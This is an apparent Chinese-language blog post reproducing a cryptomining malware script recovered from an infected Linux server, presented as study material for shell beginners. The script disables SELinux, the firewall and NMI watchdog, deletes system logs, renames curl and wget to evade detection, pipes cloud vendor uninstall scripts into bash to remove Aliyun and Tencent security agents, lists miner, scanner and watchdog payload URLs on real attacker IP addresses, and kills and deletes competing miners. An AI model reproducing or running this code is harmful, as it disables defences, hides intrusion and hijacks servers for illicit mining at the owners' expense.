• LINUX 服务器中病毒了,后来追踪到的一个机器运行脚本,研究了一下对于初学者shell的人有很大的帮助


    一、脚本

    1、服务器中病毒了,后来追踪到的一个机器运行脚本,研究了一下对于初学者shell的人有很大的帮助

    setenforce 0 2>dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    sync && echo 3 >/proc/sys/vm/drop_caches
    crondir='/var/spool/cron/'"$USER"
    cont=`cat ${crondir}`
    ssht=`cat /root/.ssh/authorized_keys`
    echo 1 > /etc/phpupdates
    rtdir="/etc/phpupdates"
    bbdir="/usr/bin/curl"
    bbdira="/usr/bin/cdt"
    ccdir="/usr/bin/wget"
    ccdira="/usr/bin/wdt"
    mv /usr/bin/curl /usr/bin/url
    mv /usr/bin/url /usr/bin/cdt
    mv /usr/bin/cdl /usr/bin/cdt
    mv /usr/bin/wget /usr/bin/get
    mv /usr/bin/get /usr/bin/wdt
    mv /usr/bin/wdl /usr/bin/wdt
    ulimit -n 65535
    rm -rf /var/log/syslog
    chattr -iua /tmp/
    chattr -iua /var/tmp/
    ufw disable
    iptables -F
    #sudo sysctl kernel.nmi_watchdog=0
    echo '0' >/proc/sys/kernel/nmi_watchdog
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    userdel akay
    userdel vfinder
    rm -rf /tmp/addres*
    rm -rf /tmp/walle*
    rm -rf /tmp/keys
    if ps aux | grep -i '[a]liyun'; then
      $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
      $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
      $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      pkill aliyun-service
      rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
      rm -rf /usr/local/aegis*
      systemctl stop aliyun.service
      systemctl disable aliyun.service
      service bcm-agent stop
      yum remove bcm-agent -y
      apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
      /usr/local/qcloud/stargate/admin/uninstall.sh
      /usr/local/qcloud/YunJing/uninst.sh
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    
    miner_url="http://185.247.117.64/cf67356/phpupdate"
    miner_url_backup="http://45.9.148.37/cf67356a3333e6999999999/phpupdate"
    miner_size="1102480"
    sh_url="http://185.247.117.64/cf67356/newdat.sh"
    sh_url_backup="http://45.9.148.37/cf67356a3333e6999999999/newdat.sh"
    config_url="http://185.247.117.64/cf67356/config.json"
    config_url_backup="http://45.9.148.37/cf67356a3333e6999999999/config.json"
    config_size="3356"
    scan_url="http://185.247.117.64/cf67356/networkmanager"
    scan_url_backup="http://45.9.148.37/cf67356a3333e6999999999/networkmanager"
    scan_size="1919056"
    watchdog_url="http://185.247.117.64/cf67356/phpguard"
    watchdog_url_backup="http://45.9.148.37/cf67356a3333e6999999999/phpguard"
    watchdog_size="1472136"
    
    #$bbdira -fsSL http://185.247.117.64/cf67356/iplog.php 2>/dev/null
    #$bbdir -fsSL http://45.9.148.37/cf67356a3333e6999999999/iplog.php 2>/dev/null
    #$ccdira http://185.247.117.64/cf67356/iplog.php -O /tmp/.null 2>/dev/null
    #$ccdir http://45.9.148.37/cf67356a3333e6999999999/iplog.php -O /tmp/.null 2>/dev/null
    rm -f /tmp/.null 2>/dev/null
    
    echo 128 > /proc/sys/vm/nr_hugepages
    sysctl -w vm.nr_hugepages=128
    
    kill_miner_proc()
    {
    netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
    netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
    netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :4444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :14433 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
    #ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
    netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    pgrep -f monerohash | xargs -I % kill -9 %
    pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
    pgrep -f xzpauectgr | xargs -I % kill -9 %
    pgrep -f slxfbkmxtd | xargs -I % kill -9 %
    pgrep -f mixtape | xargs -I % kill -9 %
    pgrep -f addnj | xargs -I % kill -9 %
    pgrep -f 200.68.17.196 | xargs -I % kill -9 %
    pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
    pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
    pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
    pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
    pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
    pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
    pgrep -f mqdsflm.cf | xargs -I % kill -9 %
    pgrep -f stratum | xargs -I % kill -9 %
    pgrep -f lower.sh | xargs -I % kill -9 %
    pgrep -f ./ppp | xargs -I % kill -9 %
    pgrep -f cryptonight | xargs -I % kill -9 %
    pgrep -f ./seervceaess | xargs -I % kill -9 %
    pgrep -f ./servceaess | xargs -I % kill -9 %
    pgrep -f ./servceas | xargs -I % kill -9 %
    pgrep -f ./servcesa | xargs -I % kill -9 %
    pgrep -f ./vsp | xargs -I % kill -9 %
    pgrep -f ./jvs | xargs -I % kill -9 %
    pgrep -f ./pvv | xargs -I % kill -9 %
    pgrep -f ./vpp | xargs -I % kill -9 %
    pgrep -f ./pces | xargs -I % kill -9 %
    pgrep -f ./rspce | xargs -I % kill -9 %
    pgrep -f ./haveged | xargs -I % kill -9 %
    pgrep -f ./jiba | xargs -I % kill -9 %
    pgrep -f ./watchbog | xargs -I % kill -9 %
    pgrep -f ./A7mA5gb | xargs -I % kill -9 %
    pgrep -f kacpi_svc | xargs -I % kill -9 %
    pgrep -f kswap_svc | xargs -I % kill -9 %
    pgrep -f kauditd_svc | xargs -I % kill -9 %
    pgrep -f kpsmoused_svc | xargs -I % kill -9 %
    pgrep -f kseriod_svc | xargs -I % kill -9 %
    pgrep -f kthreadd_svc | xargs -I % kill -9 %
    pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
    pgrep -f kintegrityd_svc | xargs -I % kill -9 %
    pgrep -f jawa | xargs -I % kill -9 %
    pgrep -f oracle.jpg | xargs -I % kill -9 %
    pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
    pgrep -f 188.209.49.54 | xargs -I % kill -9 %
    pgrep -f 181.214.87.241 | xargs -I % kill -9 %
    pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
    pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
    pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
    pgrep -f servim | xargs -I % kill -9 %
    pgrep -f kblockd_svc | xargs -I % kill -9 %
    pgrep -f native_svc | xargs -I % kill -9 %
    pgrep -f ynn | xargs -I % kill -9 %
    pgrep -f 65ccEJ7 | xargs -I % kill -9 %
    pgrep -f jmxx | xargs -I % kill -9 %
    pgrep -f 2Ne80nA | xargs -I % kill -9 %
    pgrep -f sysstats | xargs -I % kill -9 %
    pgrep -f systemxlv | xargs -I % kill -9 %
    pgrep -f watchbog | xargs -I % kill -9 %
    pgrep -f OIcJi1m | xargs -I % kill -9 %
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f devtools
    pkill -f systemctI
    pkill -f watchbog
    pkill -f cryptonight
    pkill -f sustes
    pkill -f xmrig
    pkill -f xmrig-cpu
    pkill -f 121.42.151.137
    pkill -f init12.cfg
    pkill -f nginxk
    pkill -f tmp/wc.conf
    pkill -f xmrig-notls
    pkill -f xmr-stak
    pkill -f suppoie
    pkill -f zer0day.ru
    pkill -f dbus-daemon--system
    pkill -f nullcrew
    pkill -f systemctI
    pkill -f kworkerds
    pkill -f init10.cfg
    pkill -f /wl.conf
    pkill -f crond64
    pkill -f sustse
    pkill -f vmlinuz
    pkill -f exin
    pkill -f apachiii
    pkill -f networkmanager
    rm -rf /usr/bin/config.json
    rm -rf /usr/bin/exin
    rm -rf /tmp/wc.conf
    rm -rf /tmp/log_rot
    rm -rf /tmp/apachiii
    rm -rf /tmp/sustse
    rm -rf /tmp/php
    rm -rf /tmp/p2.conf
    rm -rf /tmp/pprt
    rm -rf /tmp/ppol
    rm -rf /tmp/javax/config.sh
    rm -rf /tmp/javax/sshd2
    rm -rf /tmp/.profile
    rm -rf /tmp/1.so
    rm -rf /tmp/kworkerds
    rm -rf /tmp/kworkerds3
    rm -rf /tmp/kworkerdssx
    rm -rf /tmp/xd.json
    rm -rf /tmp/syslogd
    rm -rf /tmp/syslogdb
    rm -rf /tmp/65ccEJ7
    rm -rf /tmp/jmxx
    rm -rf /tmp/2Ne80nA
    rm -rf /tmp/dl
    rm -rf /tmp/ddg
    rm -rf /tmp/systemxlv
    rm -rf /tmp/systemctI
    rm -rf /tmp/.abc
    rm -rf /tmp/osw.hb
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/.java
    rm -rf /tmp/.omed
    rm -rf /tmp/.tmpc
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/gates.lod
    rm -rf /tmp/conf.n
    rm -rf /tmp/devtool
    rm -rf /tmp/devtools
    rm -rf /tmp/fs
    rm -rf /tmp/.rod
    rm -rf /tmp/.rod.tgz
    rm -rf /tmp/.rod.tgz.1
    rm -rf /tmp/.rod.tgz.2
    rm -rf /tmp/.mer
    rm -rf /tmp/.mer.tgz
    rm -rf /tmp/.mer.tgz.1
    rm -rf /tmp/.hod
    rm -rf /tmp/.hod.tgz
    rm -rf /tmp/.hod.tgz.1
    rm -rf /tmp/84Onmce
    rm -rf /tmp/C4iLM4L
    rm -rf /tmp/lilpip
    rm -rf /tmp/3lmigMo
    rm -rf /tmp/am8jmBP
    rm -rf /tmp/tmp.txt
    rm -rf /tmp/baby
    rm -rf /tmp/.lib
    rm -rf /tmp/systemd
    rm -rf /tmp/lib.tar.gz
    rm -rf /tmp/baby
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.mynews1234
    rm -rf /tmp/a3e12d
    rm -rf /tmp/.pt
    rm -rf /tmp/.pt.tgz
    rm -rf /tmp/.pt.tgz.1
    rm -rf /tmp/go
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.tmpnewasss
    rm -rf /tmp/java
    rm -rf /tmp/go.sh
    rm -rf /tmp/go2.sh
    rm -rf /tmp/khugepageds
    rm -rf /tmp/.censusqqqqqqqqq
    rm -rf /tmp/.kerberods
    rm -rf /tmp/kerberods
    rm -rf /tmp/seasame
    rm -rf /tmp/touch
    rm -rf /tmp/.p
    rm -rf /tmp/runtime2.sh
    rm -rf /tmp/runtime.sh
    rm -rf /dev/shm/z3.sh
    rm -rf /dev/shm/z2.sh
    rm -rf /dev/shm/.scr
    rm -rf /dev/shm/.kerberods
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    chattr -i /etc/ld.so.preload
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    rm -rf /tmp/watchdogs
    rm -rf /etc/cron.d/tomcat
    rm -rf /etc/rc.d/init.d/watchdogs
    rm -rf /usr/sbin/watchdogs
    rm -f /tmp/kthrotlds
    rm -f /etc/rc.d/init.d/kthrotlds
    rm -rf /tmp/.sysbabyuuuuu12
    rm -rf /tmp/logo9.jpg
    rm -rf /tmp/miner.sh
    rm -rf /tmp/nullcrew
    rm -rf /tmp/proc
    rm -rf /tmp/2.sh
    rm /opt/atlassian/confluence/bin/1.sh
    rm /opt/atlassian/confluence/bin/1.sh.1
    rm /opt/atlassian/confluence/bin/1.sh.2
    rm /opt/atlassian/confluence/bin/1.sh.3
    rm /opt/atlassian/confluence/bin/3.sh
    rm /opt/atlassian/confluence/bin/3.sh.1
    rm /opt/atlassian/confluence/bin/3.sh.2
    rm /opt/atlassian/confluence/bin/3.sh.3
    rm -rf /var/tmp/f41
    rm -rf /var/tmp/2.sh
    rm -rf /var/tmp/config.json
    rm -rf /var/tmp/xmrig
    rm -rf /var/tmp/1.so
    rm -rf /var/tmp/kworkerds3
    rm -rf /var/tmp/kworkerdssx
    rm -rf /var/tmp/kworkerds
    rm -rf /var/tmp/wc.conf
    rm -rf /var/tmp/nadezhda.
    rm -rf /var/tmp/nadezhda.arm
    rm -rf /var/tmp/nadezhda.arm.1
    rm -rf /var/tmp/nadezhda.arm.2
    rm -rf /var/tmp/nadezhda.x86_64
    rm -rf /var/tmp/nadezhda.x86_64.1
    rm -rf /var/tmp/nadezhda.x86_64.2
    rm -rf /var/tmp/sustse3
    rm -rf /var/tmp/sustse
    rm -rf /var/tmp/moneroocean/
    rm -rf /var/tmp/devtool
